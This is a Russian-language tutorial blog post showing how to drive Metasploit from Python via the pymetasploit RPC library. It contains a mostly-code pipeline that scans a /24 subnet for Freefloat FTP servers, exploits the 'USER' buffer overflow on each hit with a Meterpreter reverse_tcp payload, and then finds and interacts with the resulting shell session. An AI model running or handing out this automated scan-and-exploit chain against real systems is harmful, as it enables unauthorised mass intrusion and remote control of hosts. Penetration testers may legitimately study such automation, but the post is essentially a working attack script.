Известно, что метасплойт написан на Ruby и не поддерживает скрипты, написанные на Python. Несмотря на это у метасплойта есть двусторонний RPC–интерфейс, при помощи которого можно запускать задачи.
Есть две библиотеки, позволяющие взаимодействовать с remote procedure call (RPC) metasploit — это pymetasploit от allfro и python-msfrpc от SpiderLabs. В данной статье используется первая. В интернете и репозитарии github pymetasploit есть примеры запуска эксплойтов и взаимодействия с установленными сессиям, однако мне не удалось найти примеров запуска сканеров и получения вывода для дальнейшей обработки результатов. Один из вариантов будет рассмотрен далее.
Установим библиотеку:
git clone https://github.com/allfro/pymetasploit
На момент написания статьи у меня не работало подключение к msfrpc без данного коммита.
cd pymetasploit
python setup.py install
Запустим RPC листенер:
root@kali-template:~# msfrpcd -h
Usage: msfrpcd <options>
OPTIONS:
-P <opt> Specify the password to access msfrpcd
-S Disable SSL on the RPC socket
-U <opt> Specify the username to access msfrpcd
-a <opt> Bind to this IP address
-f Run the daemon in the foreground
-h Help banner
-n Disable database
-p <opt> Bind to this port instead of 55553
-t <opt> Token Timeout (default 300 seconds)
-u <opt> URI for Web server
root@kali-template:~# msfrpcd -P password -n -f -a 127.0.0.1
[*] MSGRPC starting on 127.0.0.1:55553 (SSL):Msg...
[*] MSGRPC ready at 2018-03-28 14:34:10 +0300.
Теперь Metaslpoit RPC слушает локально на порту по умолчанию 55553.
Задача для автоматизации
Допустим имеется подсеть 192.168.0.0/24. Известно, что в ней доступны несколько ftp серверов. Необходимо проверить подвержен ли какой-либо из них уязвимости Freefloat FTP Server — 'USER' Remote Buffer Overflow. При обнаружении проэксплуатировать уязвимость и получить шелл уязвимой машины.
Импортируем необходимые классы
from metasploit.msfrpc import MsfRpcClient
from metasploit.msfconsole import MsfRpcConsole
Для взаимодействия с RPC достаточно только MsfRpcClient, но для получения вывода сканирующих модулей необходимо взаимодействие с консолью метасплойта, поэтому также импортируем MsfRpcConsole.
Подключимся к RPC листенеру, передадим пароль. Порт и адрес используются по умолчанию.
client = MsfRpcClient('password')
Подключимся к консоли metasploit, по умолчанию сообщения консоли выводятся на стандартный вывод и отображаются на экране. Чтобы «поймать» эти данные и использовать в дальнейшем, класс MsfRpcConsole использует callback функцию, которая передается через параметр cb=. Таким образом, каждый раз, когда в консоль будут приходить данные для отображения, будет вызываться функция read_console.
console = MsfRpcConsole(client, cb=read_console)
Данные поступают в таком формате:
In [6]: console.console.read()
Out[6]: {'busy': False, 'data': '', 'prompt': 'msf > '}
Определим функцию read_console, чтобы полученные данные были доступны из основного кода программы. Определим две глобальные переменные:
- global_console_status, чтобы отслеживать, выполняется ли еще модуль;
- global_positive_out для накопления положительных результатов.
Функция read_console будет присваивать значение ключа ´busy´ глобальной переменной global_console_status и проверять, содержится ли символ [+], которыми обычно помечается положительный результат исполнения модуля, в данных по ключу ´data´. При положительном результате строка, содержащая [+] добавляется к списку global_positive_out:
global global_positive_out
global_positive_out = list()
global global_console_status
global_console_status = False
def read_console(console_data):
global global_console_status
global_console_status = console_data['busy']
print global_console_status
if '[+]' in console_data['data']:
sigdata = console_data['data'].rstrip().split('n')
for line in sigdata:
if '[+]' in line:
global_positive_out.append(line)
print console_data['data']
Теперь выполним в консоли команды, необходимые для запуска auxiliary модуля ftp_version.
console.execute('use auxiliary/scanner/ftp/ftp_version')
console.execute('set RHOSTS 192.168.0.0/24')
console.execute('set THREADS 20')
console.execute('run')
time.sleep(5)
Будем ждать завершения выполнения модуля, проверяя каждые 5 секунд занята ли консоль:
while global_console_status:
time.sleep(5)
После завершения работы модуля обработаем полученные результаты и извлечем IP-адреса хостов, подверженных уязвимости:
targets = list()
for line in global_positive_out:
if 'FreeFloat' in line:
ip = re.findall(r'[0-9]+(?:.[0-9]+){3}', line)[0]
targets.append(ip)
Для эксплуатации найденных уязвимостей создадим объект exploit. Чтобы посмотреть, какие опции есть у данного эксплойта и какие из них обязательные, можно использовать метод exploit.options и exploit.required. Установим LPORT, LHOST и EXITFUNC:
In [4]: exploit.required
Out[4]: ['RHOST', 'SSLVersion', 'ConnectTimeout', 'FTPTimeout', 'RPORT']
In [5]: exploit.options
Out[5]:
['FTPDEBUG',
'ContextInformationFile',
'WORKSPACE',
'FTPPASS',
'FTPUSER',
'CHOST',
'RHOST',
'Proxies',
'DisablePayloadHandler',
'TCP::send_delay',
'SSLVersion',
'ConnectTimeout',
'CPORT',
'SSLVerifyMode',
'FTPTimeout',
'VERBOSE',
'SSLCipher',
'SSL',
'WfsDelay',
'TCP::max_send_size',
'EnableContextEncoding',
'RPORT']
exploit = client.modules.use('exploit', 'windows/ftp/freefloatftp_user')
pl = client.modules.use('payload', 'windows/meterpreter/reverse_tcp')
pl['LPORT'] = 443
pl['LHOST'] = localhost
pl['EXITFUNC'] = 'thread'
Для запуска необходимо вызвать метод execute(), передав ранее инициализированный payload:
for target in targets:
exploit['RHOST'] = target
ftpsession = exploit.execute(payload=pl)
time.sleep(5)
При успешном запуске ключ job_id будет содержать номер, при неуспешном — None.
{'job_id': 1, 'uuid': 'uv0ontph'}
При получении сессии client.sessions.list будет содержать номер сессии и параметры, характерные для данной сессии в нижеприведенном формате:
{1: {'info': 'SEMYON-FE434C23\Administrator @ SEMYON-FE434C23', 'username': 'root', 'session_port': 21, 'via_payload': 'payload/windows/meterpreter/reverse_tcp', 'uuid': 'azxxoup4', 'tunnel_local': '192.168.0.92:443', 'via_exploit': 'exploit/windows/ftp/freefloatftp_user', 'arch': 'x86', 'exploit_uuid': 'uv0ontph', 'tunnel_peer': '192.168.0.90:4418', 'platform': 'windows', 'workspace': 'false', 'routes': '', 'target_host': '192.168.0.90', 'type': 'meterpreter', 'session_host': '192.168.0.90', 'desc': 'Meterpreter'}}
В данном случае, в качестве полезной нагрузки эксплойта была выбрана обратная сессия метерпретера. Для того, чтобы определить пришло ли соединение, необходимо проверить есть ли новые сессии в client.sessions.list. Ключом в данном случае будет uuid эксплойта, который должен быть равен exploit_uuid сессии. Для реализации определим две функции для поиска новых сессий, compare_sessions, которая будет ждать указанное время и сравнивать старый список сессий с текущим и get_session, которая будет возвращать сессию соотвествующую запущенному эксплойту.
def get_session(sessions_list, exploit_job):
if not sessions_list:
return False
for session in sessions_list:
if sessions_list[session]['exploit_uuid'] == exploit_job['uuid']:
return session
return False
def compare_sessions(old_sessions_list, seconds = 120):
flag = False
while not flag:
if seconds == 0:
return False
if client.sessions.list != old_sessions_list:
flag = True
time.sleep(1)
seconds -= 1
current_sessions = client.sessions.list
all(map(current_sessions.pop, old_sessions_list))
return current_sessions
Сохраним текущие сессии, запустим эксплойт:
old_sessions = client.sessions.list
ftpsession = exploit.execute(payload=pl)
time.sleep(5)
ftpsessioncode = get_session(client.sessions.list, ftpsession)
if not ftpsessioncode:
sys.exit()
После получения сессии мы можем взаимодействовать с ней, вызвая client.sessions.session() и передавая номер сессии. При помощи методов shell.read(), shell.write(), shell.runsingle() можно передавать команды и читать ответ из метерпретер сессии.
shell = client.sessions.session(ftpsessioncode)
shell.read()
Используя описанную методику, можно запускать любые имеющиеся модули и получать вывод из консоли.
Код доступен в гитхаб репозитарии.
Автор: vmvarga